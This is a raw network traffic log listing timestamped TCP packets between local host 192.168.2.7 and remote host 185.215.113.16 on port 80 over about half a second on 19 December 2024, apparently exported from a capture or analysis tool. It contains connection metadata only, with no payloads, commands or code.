Dec 19, 2024 08:40:42.640129089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.640172958 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.640985966 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.682723045 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.775816917 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.775989056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.776141882 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.776321888 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.776658058 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.776711941 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.777411938 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.777790070 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.778002024 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.778021097 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.778939009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.778985977 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.779129028 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.779994011 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.780045033 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.780165911 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.781095982 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.781260014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.782171965 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.782217026 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.782356977 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.783288956 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.783341885 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.783495903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.784379005 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.784427881 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.784539938 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.785489082 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.785650015 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.785689116 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.786590099 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.786767960 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.786820889 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.787663937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.787710905 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.787838936 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.788779974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.788849115 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.788963079 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.790049076 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.790105104 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.790158987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.790951967 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.791156054 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.791204929 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.792057991 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.792251110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.792304039 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.793215036 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.793258905 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.793342113 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.794251919 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.794418097 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.794469118 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.795473099 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.795594931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.795646906 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.796447039 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.796647072 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.796700954 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.797640085 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.797781944 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.797837019 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.798763037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.798942089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.798991919 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.799851894 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.800056934 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.800112009 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.800832987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.801042080 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.801080942 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.801944971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.802009106 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.802113056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.803052902 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.803107977 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.803224087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.804188013 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.804362059 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.804423094 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.804692030 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.805227995 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.805428982 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.806345940 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.806396008 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.806493044 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.807487011 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.807648897 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.807730913 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.808518887 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.808564901 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.808712959 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.809700966 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.809743881 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.810014963 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.810724974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.810776949 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.810923100 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.811825037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.811991930 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.811992884 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.812911987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.812958002 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.813103914 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.814130068 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.814181089 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.814284086 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.815331936 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.815502882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.815558910 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.816412926 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.816493988 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.816545963 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.817359924 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.817567110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.817619085 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.818552017 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.818629980 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.818687916 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.819554090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.819770098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.819822073 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.820776939 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.820924997 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.820972919 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.821816921 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.821959019 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.822012901 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.822793961 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.822984934 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.823038101 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.823863983 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.824076891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.824130058 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.825052977 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.825193882 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.825232029 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.826090097 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.826286077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.826334000 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.827186108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.827429056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.827478886 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.828526020 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.828589916 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.828665972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.829443932 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.829612970 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.830518961 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.830565929 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.830722094 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.831588030 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.831721067 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.831751108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.832804918 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.832850933 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.832885027 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.885860920 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.968118906 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.968135118 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.968230963 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.968475103 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.968724966 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.968785048 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.969122887 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.969849110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.970016003 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.970067024 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.970915079 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.971062899 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.971343040 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.972009897 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.972162962 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.972214937 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.973087072 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.973254919 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.973304987 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.974211931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.974268913 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.974395037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.975368977 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.975480080 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.975533962 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.976600885 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.976830959 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.977047920 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.977509975 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.977579117 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.977786064 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.978578091 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.978636026 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.978739023 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.979671001 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.979896069 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.979948997 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.980745077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.980789900 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.980964899 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.981905937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.981960058 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.982023954 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.982984066 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.983062029 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.983114004 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.984071970 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.984139919 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.984205961 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.985176086 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.985420942 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.985475063 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.986217022 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.986562967 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.986614943 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.987327099 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.987716913 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.987772942 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.988446951 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.988800049 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.988858938 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.989509106 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.989567041 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.989793062 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.990626097 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.990678072 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.990982056 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.991888046 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.991899967 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.991949081 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.992806911 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.993051052 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.993055105 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.993936062 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.994229078 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.994281054 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.995310068 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.995743990 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.995789051 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.997051001 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.997112989 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.997159958 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.998061895 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.998297930 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.998352051 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:42.999253988 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.999761105 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:42.999811888 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.000425100 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.000485897 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.000710964 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.001316071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.001811981 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.002465963 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.002512932 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.002526999 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.003102064 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.003113985 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.003153086 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.003968954 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.003981113 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.004033089 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.005064011 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.005098104 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.005188942 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.006277084 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.006289005 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.006336927 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.007242918 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.007255077 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.007292032 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.008399010 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.008410931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.008459091 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.009406090 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.009449959 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.009491920 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.010427952 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.010483980 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.010803938 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.011492014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.011544943 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.011636972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.012741089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.012753963 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.012898922 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.013817072 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.013828993 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.013868093 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.049384117 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.169514894 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.169740915 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.170049906 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.170115948 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.170579910 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.171144009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.171283960 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.171350002 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.172482014 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.172494888 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.172538042 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.173312902 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.173487902 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.174576998 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.174590111 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.174626112 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.174640894 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.175645113 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.175658941 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.176578045 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.176642895 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.176808119 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.177963972 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.177975893 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.178018093 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.178955078 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.178968906 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.179023981 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.180049896 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.180063009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.180135965 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.180984020 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.181150913 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.182234049 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.182290077 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.182410955 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.182511091 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.183203936 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.183379889 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.184447050 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.184458971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.184478045 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.184497118 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.185437918 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.185744047 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:43.185786009 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:43.186553001 CET	80	49732	185.215.113.16	192.168.2.7
